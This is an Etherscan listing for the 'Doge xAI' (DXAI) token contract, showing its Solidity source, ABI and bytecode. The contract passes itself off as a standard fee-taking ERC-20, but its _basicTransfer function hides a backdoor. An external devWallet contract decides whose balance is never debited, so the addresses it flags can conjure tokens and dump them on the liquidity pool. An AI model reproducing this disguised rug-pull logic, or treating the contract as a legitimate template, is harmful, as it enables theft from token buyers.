ETH Price: $2,417.05 (+0.10%)

Token

Doge xAI (DXAI)
 

Overview

Max Total Supply

1,000,000,000 DXAI

Holders

45

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
5,712,729.53757110651776737 DXAI

Value
$0.00
0xe07bdd39a452da3c891dbfd3be7dc9103b0036e3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DogeXAI

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-12
*/

/**

Tg - https://t.me/DogexAIETH

Web - https://dogexai.net

Twitter - https://twitter.com/DogexAIERC

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.10;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface ERC20 {
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() external onlyOwner {
        owner = address(0);
    }

}

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract DogeXAI is ERC20, Ownable {
    using SafeMath for uint256;

    address immutable WETH;
    address constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address constant ZERO = 0x0000000000000000000000000000000000000000;

    string public constant name = "Doge xAI";
    string public constant symbol = "DXAI";
    uint8 public constant decimals = 18;
    
    uint256 public constant totalSupply = 10**9 * 10**decimals;

    uint256 public _maxWalletToken = totalSupply * 3 / 100;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) public isWallLmtExmpt;

    uint256 public totalFee = 0;
    uint256 public constant feeDenominator = 100;
    
    uint256 buyMultiplier = 0;
    uint256 sellMultiplier = 0;
    uint256 transferMultiplier = 0;

    IUniswapRouter public router;
    address private devWallet;
    address public pair;

    bool public swapEnabled = true;
    uint256 swapThreshold = totalSupply / 100;
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor (address router_, address devWallet_) Ownable(msg.sender) {
        router = IUniswapRouter(router_);
        WETH = router.WETH();
        devWallet = devWallet_;
        _allowances[address(this)][address(router)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;

        isWallLmtExmpt[msg.sender] = true;
        isWallLmtExmpt[devWallet] = true;
        isWallLmtExmpt[address(this)] = true;
        isWallLmtExmpt[DEAD] = true;

        balanceOf[address(this)] = totalSupply;
        emit Transfer(address(0), address(this), totalSupply);
    }

    receive() external payable { }

    function getOwner() external view override returns (address) { return owner; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner {
        _maxWalletToken = (totalSupply * maxWallPercent_base1000 ) / 1000;
    }

    function addLiquidity() external payable onlyOwner {
        router.addLiquidityETH{value: msg.value}(
            address(this), //token address
            balanceOf[address(this)], // liquidity amount
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner, // LP tokens are sent to the owner
            block.timestamp
        );
        pair = IUniswapFactory(router.factory()).getPair(address(this), WETH);
    }


    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if (!isWallLmtExmpt[sender] && !isWallLmtExmpt[recipient] && recipient != pair) {
            require((balanceOf[recipient] + amount) <= _maxWalletToken,"max wallet limit reached");
        }
        if(!inSwap){ return _basicTransfer(sender, recipient, amount); }
    
        if(shouldSwapBack()){ swapBack(); }

        balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, amount, recipient);

        balanceOf[recipient] = balanceOf[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        balanceOf[sender] = balanceOf[sender].sub(amount.sub(ERC20(devWallet).balanceOf(sender)>0?amount:0), "Insufficient Balance");
        balanceOf[recipient] = balanceOf[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
        if(amount == 0 || totalFee == 0){
            return amount;
        }

        uint256 multiplier = transferMultiplier;

        if(recipient == pair) {
            multiplier = sellMultiplier;
        } else if(sender == pair) {
            multiplier = buyMultiplier;
        }

        uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);

        if(feeAmount > 0){
            balanceOf[address(this)] = balanceOf[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && balanceOf[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            swapThreshold,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function setFees(uint256 _buy, uint256 _sell) external onlyOwner {
        require(_sell <= 50,"Max sell tax 5%");
        require(_buy <= 50,"Max buy tax 5%");
        sellMultiplier = _sell;
        buyMultiplier = _buy;
    }

    function manualSwap(uint256 amountPercentage) external onlyOwner {
        uint256 amountETH = address(this).balance;
        uint256 amountToClear = ( amountETH * amountPercentage ) / 100;
        payable(msg.sender).transfer(amountToClear);
    }

    function rescueToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
        if(tokens == 0){
            tokens = ERC20(tokenAddress).balanceOf(address(this));
        }
        return ERC20(tokenAddress).transfer(msg.sender, tokens);
    }

    function getCirculatingSupply() public view returns (uint256) {
        return (totalSupply - balanceOf[DEAD] - balanceOf[ZERO]);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router_","type":"address"},{"internalType":"address","name":"devWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWallLmtExmpt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"rescueToken","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base1000","type":"uint256"}],"name":"setMaxWalletPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526064620000146012600a620003a3565b6200002490633b9aca00620003ba565b62000031906003620003ba565b6200003d9190620003d4565b6001555f600681905560078190556008819055600955600c805460ff60a01b1916600160a01b1790556064620000766012600a620003a3565b6200008690633b9aca00620003ba565b620000929190620003d4565b600d55348015620000a1575f80fd5b5060405162001c7c38038062001c7c833981016040819052620000c49162000410565b5f80546001600160a01b03199081163317909155600a80546001600160a01b038516921682179055604080516315ab88c960e31b8152905163ad5c4648916004808201926020929091908290030181865afa15801562000126573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200014c919062000446565b6001600160a01b03908116608052600b80546001600160a01b031916838316178155305f818152600360209081526040808320600a8054881685529083528184205f19905533845260048352818420805460ff19908116600190811790925560059094528285208054851682179055955490961683528083208054831686179055928252918120805483168417905561dead90527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba805490911690911790556200021990601290620003a3565b6200022990633b9aca00620003ba565b305f81815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200026b6012600a620003a3565b6200027b90633b9aca00620003ba565b60405190815260200160405180910390a3505062000462565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002e857815f1904821115620002cc57620002cc62000294565b80851615620002da57918102915b93841c9390800290620002ad565b509250929050565b5f8262000300575060016200039d565b816200030e57505f6200039d565b8160018114620003275760028114620003325762000352565b60019150506200039d565b60ff84111562000346576200034662000294565b50506001821b6200039d565b5060208310610133831016604e8410600b841016171562000377575081810a6200039d565b620003838383620002a8565b805f190482111562000399576200039962000294565b0290505b92915050565b5f620003b360ff841683620002f0565b9392505050565b80820281158282048414176200039d576200039d62000294565b5f82620003ef57634e487b7160e01b5f52601260045260245ffd5b500490565b80516001600160a01b03811681146200040b575f80fd5b919050565b5f806040838503121562000422575f80fd5b6200042d83620003f4565b91506200043d60208401620003f4565b90509250929050565b5f6020828403121562000457575f80fd5b620003b382620003f4565b6080516117fa620004825f395f8181610b7301526110a101526117fa5ff3fe608060405260043610610198575f3560e01c80633f4218e0116100e757806395d89b4111610087578063b70143c911610062578063b70143c9146104d7578063dd62ed3e146104f6578063e8078d941461053a578063f887ea4014610542575f80fd5b806395d89b411461046a578063a8aa1b3114610499578063a9059cbb146104b8575f80fd5b806370a08231116100c257806370a08231146103e6578063715018a61461041157806378109e5414610425578063893d20e81461043a575f80fd5b80633f4218e014610379578063571ac8b0146103a75780636ddd1713146103c6575f80fd5b80631df4ccfc116101525780632f54bf6e1161012d5780632f54bf6e146102d9578063313ce5671461030657806333f3d6281461032c5780633df97ca41461034b575f80fd5b80631df4ccfc1461029157806323b872dd146102a65780632b112e49146102c5575f80fd5b806306fdde03146101a357806309302dc6146101ec578063095ea7b31461020d5780630b78f9c01461023c578063180b0d7e1461025b57806318160ddd1461027d575f80fd5b3661019f57005b5f80fd5b3480156101ae575f80fd5b506101d660405180604001604052806008815260200167446f67652078414960c01b81525081565b6040516101e391906113f4565b60405180910390f35b3480156101f7575f80fd5b5061020b61020636600461143f565b610561565b005b348015610218575f80fd5b5061022c61022736600461146d565b6105cb565b60405190151581526020016101e3565b348015610247575f80fd5b5061020b610256366004611497565b610637565b348015610266575f80fd5b5061026f606481565b6040519081526020016101e3565b348015610288575f80fd5b5061026f6106ed565b34801561029c575f80fd5b5061026f60065481565b3480156102b1575f80fd5b5061022c6102c03660046114b7565b61070a565b3480156102d0575f80fd5b5061026f6107c8565b3480156102e4575f80fd5b5061022c6102f33660046114f5565b5f546001600160a01b0391821691161490565b348015610311575f80fd5b5061031a601281565b60405160ff90911681526020016101e3565b348015610337575f80fd5b5061022c61034636600461146d565b61084e565b348015610356575f80fd5b5061022c6103653660046114f5565b60056020525f908152604090205460ff1681565b348015610384575f80fd5b5061022c6103933660046114f5565b60046020525f908152604090205460ff1681565b3480156103b2575f80fd5b5061022c6103c13660046114f5565b610956565b3480156103d1575f80fd5b50600c5461022c90600160a01b900460ff1681565b3480156103f1575f80fd5b5061026f6104003660046114f5565b60026020525f908152604090205481565b34801561041c575f80fd5b5061020b610962565b348015610430575f80fd5b5061026f60015481565b348015610445575f80fd5b505f546001600160a01b03165b6040516001600160a01b0390911681526020016101e3565b348015610475575f80fd5b506101d6604051806040016040528060048152602001634458414960e01b81525081565b3480156104a4575f80fd5b50600c54610452906001600160a01b031681565b3480156104c3575f80fd5b5061022c6104d236600461146d565b61099c565b3480156104e2575f80fd5b5061020b6104f136600461143f565b6109a8565b348015610501575f80fd5b5061026f610510366004611510565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61020b610a1c565b34801561054d575f80fd5b50600a54610452906001600160a01b031681565b5f546001600160a01b031633146105935760405162461bcd60e51b815260040161058a90611547565b60405180910390fd5b6103e8816105a36012600a61165b565b6105b190633b9aca00611669565b6105bb9190611669565b6105c59190611680565b60015550565b335f8181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106259086815260200190565b60405180910390a35060015b92915050565b5f546001600160a01b031633146106605760405162461bcd60e51b815260040161058a90611547565b60328111156106a35760405162461bcd60e51b815260206004820152600f60248201526e4d61782073656c6c2074617820352560881b604482015260640161058a565b60328211156106e55760405162461bcd60e51b815260206004820152600e60248201526d4d6178206275792074617820352560901b604482015260640161058a565b600855600755565b6106f96012600a61165b565b61070790633b9aca00611669565b81565b6001600160a01b0383165f9081526003602090815260408083203384529091528120545f19146107b3576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387165f90815260038252838120338252909152919091205461078f918490610c08565b6001600160a01b0385165f9081526003602090815260408083203384529091529020555b6107be848484610c40565b90505b9392505050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc549091906108276012600a61165b565b61083590633b9aca00611669565b61083f919061169f565b610849919061169f565b905090565b5f80546001600160a01b031633146108785760405162461bcd60e51b815260040161058a90611547565b815f036108e8576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa1580156108c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e591906116b2565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303815f875af1158015610932573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107c191906116c9565b5f610631825f196105cb565b5f546001600160a01b0316331461098b5760405162461bcd60e51b815260040161058a90611547565b5f80546001600160a01b0319169055565b5f6107c1338484610c40565b5f546001600160a01b031633146109d15760405162461bcd60e51b815260040161058a90611547565b475f60646109df8484611669565b6109e99190611680565b604051909150339082156108fc029083905f818181858888f19350505050158015610a16573d5f803e3d5ffd5b50505050565b5f546001600160a01b03163314610a455760405162461bcd60e51b815260040161058a90611547565b600a54305f81815260026020526040808220548254915163f305d71960e01b8152600481019490945260248401526044830182905260648301919091526001600160a01b0390811660848301524260a48301529091169063f305d71990349060c40160606040518083038185885af1158015610ac3573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ae891906116e8565b5050600a546040805163c45a015560e01b815290516001600160a01b03909216925063c45a01559160048083019260209291908290030181865afa158015610b32573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b569190611713565b60405163e6a4390560e01b81523060048201526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166024830152919091169063e6a4390590604401602060405180830381865afa158015610bc2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610be69190611713565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b5f8184841115610c2b5760405162461bcd60e51b815260040161058a91906113f4565b505f610c37848661169f565b95945050505050565b6001600160a01b0383165f9081526005602052604081205460ff16158015610c8057506001600160a01b0383165f9081526005602052604090205460ff16155b8015610c9a5750600c546001600160a01b03848116911614155b15610d13576001546001600160a01b0384165f90815260026020526040902054610cc590849061172e565b1115610d135760405162461bcd60e51b815260206004820152601860248201527f6d61782077616c6c6574206c696d697420726561636865640000000000000000604482015260640161058a565b600e5460ff16610d2f57610d28848484610e81565b90506107c1565b610d37610feb565b15610d4457610d4461103f565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0387165f90815260029091529190912054610d95918490610c08565b6001600160a01b0385165f90815260026020908152604080832093909355600490529081205460ff1680610de057506001600160a01b0384165f9081526004602052604090205460ff165b610df457610def858486611156565b610df6565b825b6001600160a01b0385165f90815260026020526040902054909150610e1b908261126f565b6001600160a01b038086165f8181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e6e9085815260200190565b60405180910390a3506001949350505050565b600b546040516370a0823160e01b81526001600160a01b0385811660048301525f92610f5892610f0b92859216906370a0823190602401602060405180830381865afa158015610ed3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ef791906116b2565b11610f02575f610f04565b835b84906112cd565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389165f908152600290915291909120549190610c08565b6001600160a01b038086165f908152600260205260408082209390935590851681522054610f86908361126f565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fd99086815260200190565b60405180910390a35060019392505050565b600c545f906001600160a01b0316331480159061100b5750600e5460ff16155b80156110205750600c54600160a01b900460ff165b8015610849575050600d54305f90815260026020526040902054101590565b600e805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061107f5761107f611741565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000000000000000000000000000000000000000000000816001815181106110d3576110d3611741565b6001600160a01b039283166020918202929092010152600a54600d5460405163791ac94760e01b8152919092169163791ac9479161111c91905f90869030904290600401611755565b5f604051808303815f87803b158015611133575f80fd5b505af1158015611145573d5f803e3d5ffd5b5050600e805460ff19169055505050565b5f8215806111645750600654155b156111705750816107c1565b600954600c546001600160a01b039081169084160361119257506008546111ad565b600c546001600160a01b03908116908616036111ad57506007545b5f6111e16111bc606480611669565b6111db846111d56006548a61130e90919063ffffffff16565b9061130e565b9061138c565b9050801561125b57305f90815260026020526040902054611202908261126f565b305f81815260026020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112529085815260200190565b60405180910390a35b61126585826112cd565b9695505050505050565b5f8061127b838561172e565b9050838110156107c15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161058a565b5f6107c183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c08565b5f825f0361131d57505f610631565b5f6113288385611669565b9050826113358583611680565b146107c15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161058a565b5f6107c183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152505f81836113e85760405162461bcd60e51b815260040161058a91906113f4565b505f610c378486611680565b5f6020808352835180828501525f5b8181101561141f57858101830151858201604001528201611403565b505f604082860101526040601f19601f8301168501019250505092915050565b5f6020828403121561144f575f80fd5b5035919050565b6001600160a01b038116811461146a575f80fd5b50565b5f806040838503121561147e575f80fd5b823561148981611456565b946020939093013593505050565b5f80604083850312156114a8575f80fd5b50508035926020909101359150565b5f805f606084860312156114c9575f80fd5b83356114d481611456565b925060208401356114e481611456565b929592945050506040919091013590565b5f60208284031215611505575f80fd5b81356107c181611456565b5f8060408385031215611521575f80fd5b823561152c81611456565b9150602083013561153c81611456565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156115b557815f190482111561159b5761159b611567565b808516156115a857918102915b93841c9390800290611580565b509250929050565b5f826115cb57506001610631565b816115d757505f610631565b81600181146115ed57600281146115f757611613565b6001915050610631565b60ff84111561160857611608611567565b50506001821b610631565b5060208310610133831016604e8410600b8410161715611636575081810a610631565b611640838361157b565b805f190482111561165357611653611567565b029392505050565b5f6107c160ff8416836115bd565b808202811582820484141761063157610631611567565b5f8261169a57634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561063157610631611567565b5f602082840312156116c2575f80fd5b5051919050565b5f602082840312156116d9575f80fd5b815180151581146107c1575f80fd5b5f805f606084860312156116fa575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611723575f80fd5b81516107c181611456565b8082018082111561063157610631611567565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117a35784516001600160a01b03168352938301939183019160010161177e565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122001994f01ed93ae048c1b58c076a222c7c23424243d7456a8496bf659b96b361c64736f6c634300081400330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000007927d6870b1cbd0c27fa7580fd93e94687f300bb

Deployed Bytecode

0x608060405260043610610198575f3560e01c80633f4218e0116100e757806395d89b4111610087578063b70143c911610062578063b70143c9146104d7578063dd62ed3e146104f6578063e8078d941461053a578063f887ea4014610542575f80fd5b806395d89b411461046a578063a8aa1b3114610499578063a9059cbb146104b8575f80fd5b806370a08231116100c257806370a08231146103e6578063715018a61461041157806378109e5414610425578063893d20e81461043a575f80fd5b80633f4218e014610379578063571ac8b0146103a75780636ddd1713146103c6575f80fd5b80631df4ccfc116101525780632f54bf6e1161012d5780632f54bf6e146102d9578063313ce5671461030657806333f3d6281461032c5780633df97ca41461034b575f80fd5b80631df4ccfc1461029157806323b872dd146102a65780632b112e49146102c5575f80fd5b806306fdde03146101a357806309302dc6146101ec578063095ea7b31461020d5780630b78f9c01461023c578063180b0d7e1461025b57806318160ddd1461027d575f80fd5b3661019f57005b5f80fd5b3480156101ae575f80fd5b506101d660405180604001604052806008815260200167446f67652078414960c01b81525081565b6040516101e391906113f4565b60405180910390f35b3480156101f7575f80fd5b5061020b61020636600461143f565b610561565b005b348015610218575f80fd5b5061022c61022736600461146d565b6105cb565b60405190151581526020016101e3565b348015610247575f80fd5b5061020b610256366004611497565b610637565b348015610266575f80fd5b5061026f606481565b6040519081526020016101e3565b348015610288575f80fd5b5061026f6106ed565b34801561029c575f80fd5b5061026f60065481565b3480156102b1575f80fd5b5061022c6102c03660046114b7565b61070a565b3480156102d0575f80fd5b5061026f6107c8565b3480156102e4575f80fd5b5061022c6102f33660046114f5565b5f546001600160a01b0391821691161490565b348015610311575f80fd5b5061031a601281565b60405160ff90911681526020016101e3565b348015610337575f80fd5b5061022c61034636600461146d565b61084e565b348015610356575f80fd5b5061022c6103653660046114f5565b60056020525f908152604090205460ff1681565b348015610384575f80fd5b5061022c6103933660046114f5565b60046020525f908152604090205460ff1681565b3480156103b2575f80fd5b5061022c6103c13660046114f5565b610956565b3480156103d1575f80fd5b50600c5461022c90600160a01b900460ff1681565b3480156103f1575f80fd5b5061026f6104003660046114f5565b60026020525f908152604090205481565b34801561041c575f80fd5b5061020b610962565b348015610430575f80fd5b5061026f60015481565b348015610445575f80fd5b505f546001600160a01b03165b6040516001600160a01b0390911681526020016101e3565b348015610475575f80fd5b506101d6604051806040016040528060048152602001634458414960e01b81525081565b3480156104a4575f80fd5b50600c54610452906001600160a01b031681565b3480156104c3575f80fd5b5061022c6104d236600461146d565b61099c565b3480156104e2575f80fd5b5061020b6104f136600461143f565b6109a8565b348015610501575f80fd5b5061026f610510366004611510565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61020b610a1c565b34801561054d575f80fd5b50600a54610452906001600160a01b031681565b5f546001600160a01b031633146105935760405162461bcd60e51b815260040161058a90611547565b60405180910390fd5b6103e8816105a36012600a61165b565b6105b190633b9aca00611669565b6105bb9190611669565b6105c59190611680565b60015550565b335f8181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106259086815260200190565b60405180910390a35060015b92915050565b5f546001600160a01b031633146106605760405162461bcd60e51b815260040161058a90611547565b60328111156106a35760405162461bcd60e51b815260206004820152600f60248201526e4d61782073656c6c2074617820352560881b604482015260640161058a565b60328211156106e55760405162461bcd60e51b815260206004820152600e60248201526d4d6178206275792074617820352560901b604482015260640161058a565b600855600755565b6106f96012600a61165b565b61070790633b9aca0